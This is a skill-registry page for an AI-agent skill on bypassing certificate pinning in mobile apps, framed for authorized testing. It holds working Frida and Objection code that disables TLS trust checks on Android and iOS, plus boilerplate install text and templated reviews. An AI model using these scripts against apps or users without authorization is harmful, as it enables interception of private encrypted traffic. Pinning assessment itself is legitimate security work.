performing-mobile-app-certificate-pinning-bypass

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-mobile-app-certificate-pinning-bypass
0 commentsdiscussion
summary

Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, or proxy-resistant app testing.

skill.md
name
performing-mobile-app-certificate-pinning-bypass
description
'Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, or proxy-resistant app testing. '
domain
cybersecurity
subdomain
mobile-security
author
mahipal
tags
- mobile-security - android - ios - certificate-pinning - frida - penetration-testing
version
1.0.0
license
Apache-2.0
nist_csf
- PR.PS-01 - PR.AA-05 - ID.RA-01 - DE.CM-09

Performing Mobile App Certificate Pinning Bypass

When to Use

Use this skill when:

  • Mobile app refuses connections through a proxy due to certificate pinning
  • Performing authorized security testing requiring HTTPS traffic interception
  • Assessing the strength and bypass difficulty of pinning implementations
  • Evaluating defense-in-depth of mobile app network security

Do not use to bypass pinning on apps without explicit testing authorization.

Prerequisites

  • Burp Suite configured as proxy with listener on all interfaces
  • Rooted Android device or jailbroken iOS device
  • Frida server running on target device
  • Objection installed (pip install objection)
  • Target app installed and reproducing the pinning behavior

Workflow

Step 1: Identify Pinning Implementation

Android pinning methods to identify:

1. Network Security Config (res/xml/network_security_config.xml)
   <pin-set> with certificate hash pins

2. OkHttp CertificatePinner
   CertificatePinner.Builder().add("api.target.com", "sha256/...")

3. Custom TrustManager
   X509TrustManager overrides in code

4. Third-party libraries
   - TrustKit
   - Certificate Transparency checks

iOS pinning methods:

1. NSURLSession delegate (URLSession:didReceiveChallenge:)
2. ATS (App Transport Security) with custom trust evaluation
3. TrustKit framework
4. Alamofire ServerTrustPolicy
5. Custom SecTrust evaluation

Step 2: Bypass with Objection (Quickest Approach)

# Android
objection --gadget com.target.app explore
android sslpinning disable

# iOS
objection --gadget com.target.app explore
ios sslpinning disable

Objection hooks common pinning implementations including OkHttp CertificatePinner, TrustManagerImpl, NSURLSession delegate methods, and SecTrust evaluation.

Step 3: Bypass with Custom Frida Scripts

Android - Universal SSL Pinning Bypass:

// android_ssl_bypass.js
Java.perform(function() {
    // Bypass TrustManagerImpl
    var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain,
        host, clientAuth, ocspData, tlsSctData) {
        console.log("[+] Bypassing TrustManagerImpl for: " + host);
        return untrustedChain;
    };

    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use("okhttp3.CertificatePinner");
        CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation =
            function(hostname, peerCertificates) {
                console.log("[+] Bypassing OkHttp3 pinning for: " + hostname);
                return;
            };
    } catch(e) {}

    // Bypass custom X509TrustManager
    var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
    var TrustManager = Java.registerClass({
        name: "com.bypass.TrustManager",
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    // Bypass SSLContext
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;",
        "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation =
        function(km, tm, sr) {
            console.log("[+] Replacing TrustManagers in SSLContext.init");
            this.init(km, [TrustManager.$new()], sr);
        };

    // Bypass NetworkSecurityConfig (Android 7+)
    try {
        var NetworkSecurityConfig = Java.use(
            "android.security.net.config.NetworkSecurityConfig");
        NetworkSecurityConfig.isCleartextTrafficPermitted.implementation = function() {
            return true;
        };
    } catch(e) {}

    console.log("[*] SSL pinning bypass loaded");
});
frida -U -f com.target.app -l android_ssl_bypass.js --no-pause

iOS - Universal SSL Pinning Bypass:

// ios_ssl_bypass.js
if (ObjC.available) {
    // Bypass NSURLSession delegate
    var resolver = new ApiResolver("objc");
    resolver.enumerateMatches(
        "-[* URLSession:didReceiveChallenge:completionHandler:]", {
        onMatch: function(match) {
            Interceptor.attach(match.address, {
                onEnter: function(args) {
                    var completionHandler = new ObjC.Block(args[4]);
                    var NSURLSessionAuthChallengeUseCredential = 0;
                    var trust = new ObjC.Object(args[3])
                        .protectionSpace().serverTrust();
                    var credential = ObjC.classes.NSURLCredential
                        .credentialForTrust_(trust);
                    completionHandler.invoke(NSURLSessionAuthChallengeUseCredential,
                        credential);
                }
            });
        },
        onComplete: function() {}
    });

    // Bypass SecTrustEvaluate
    var SecTrustEvaluateWithError = Module.findExportByName(
        "Security", "SecTrustEvaluateWithError");
    if (SecTrustEvaluateWithError) {
        Interceptor.replace(SecTrustEvaluateWithError, new NativeCallback(
            function(trust, error) {
                return 1;  // Always return true
            }, "bool", ["pointer", "pointer"]
        ));
    }

    console.log("[*] iOS SSL pinning bypass loaded");
}

Step 4: Handle Advanced Pinning

For apps using advanced pinning (TrustKit, custom binary checks):

# Identify the specific pinning library
frida-trace -U -n TargetApp -m "*[*Trust*]" -m "*[*Pin*]" -m "*[*SSL*]" -m "*[*Certificate*]"

# Hook the identified validation function
# Custom Frida script targeting the specific implementation

Step 5: Verify Bypass Success

After applying the bypass:

  1. Configure device proxy to Burp Suite
  2. Open target app and navigate through authenticated flows
  3. Verify HTTPS traffic appears in Burp Suite HTTP History
  4. Check for any remaining pinned connections that are not captured

Key Concepts

TermDefinition
Certificate PinningRestricting accepted server certificates to a known set, preventing MITM via rogue CA certificates
Public Key PinningPinning the server's public key hash rather than the full certificate, surviving certificate rotation
Network Security ConfigAndroid XML configuration for declaring trust anchors, pins, and cleartext policy per-domain
TrustKitOpen-source library implementing certificate pinning with reporting for both Android and iOS
HPKP DeprecationHTTP Public Key Pinning header was deprecated in browsers but concept persists in mobile apps

Tools & Systems

  • Objection: Pre-built pinning bypass for common libraries (OkHttp, NSURLSession, TrustKit)
  • Frida: Custom JavaScript hooks targeting specific pinning implementations
  • apktool: APK decompilation for identifying pinning in Network Security Config
  • SSLUnpinning (Xposed): Xposed framework module for system-wide pinning bypass on Android
  • ssl-kill-switch2: iOS tweak for disabling SSL pinning system-wide on jailbroken devices

Common Pitfalls

  • Certificate transparency: Some apps check CT logs in addition to pinning. May need to bypass CT verification separately.
  • Multi-layer pinning: Apps may implement pinning at multiple levels (OkHttp + custom TrustManager). Bypass all layers.
  • Binary-level pinning: Some apps validate certificates in native C/C++ code, which requires Interceptor.attach at native function addresses rather than Java/ObjC hooks.
  • Dynamic pinning updates: Apps using TrustKit or similar may fetch updated pins from a server. Monitor for pin rotation during testing.
how to use performing-mobile-app-certificate-pinning-bypass

How to use performing-mobile-app-certificate-pinning-bypass on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-mobile-app-certificate-pinning-bypass
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-mobile-app-certificate-pinning-bypass

The skills CLI fetches performing-mobile-app-certificate-pinning-bypass from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-mobile-app-certificate-pinning-bypass

Reload or restart Cursor to activate performing-mobile-app-certificate-pinning-bypass. Access the skill through slash commands (e.g., /performing-mobile-app-certificate-pinning-bypass) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.461 reviews
  • Aanya Ghosh· Dec 28, 2024

    Useful defaults in performing-mobile-app-certificate-pinning-bypass — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Aarav Flores· Dec 12, 2024

    Registry listing for performing-mobile-app-certificate-pinning-bypass matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Aarav Patel· Dec 12, 2024

    We added performing-mobile-app-certificate-pinning-bypass from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Zaid Abebe· Dec 8, 2024

    performing-mobile-app-certificate-pinning-bypass has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Fatima Taylor· Dec 8, 2024

    Useful defaults in performing-mobile-app-certificate-pinning-bypass — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Noah Diallo· Dec 4, 2024

    Keeps context tight: performing-mobile-app-certificate-pinning-bypass is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Noor Smith· Nov 27, 2024

    Solid pick for teams standardizing on skills: performing-mobile-app-certificate-pinning-bypass is focused, and the summary matches what you get after install.

  • Hassan Patel· Nov 23, 2024

    performing-mobile-app-certificate-pinning-bypass is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Fatima Brown· Nov 3, 2024

    performing-mobile-app-certificate-pinning-bypass reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Harper Singh· Oct 22, 2024

    performing-mobile-app-certificate-pinning-bypass is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

showing 1-10 of 61

1 / 7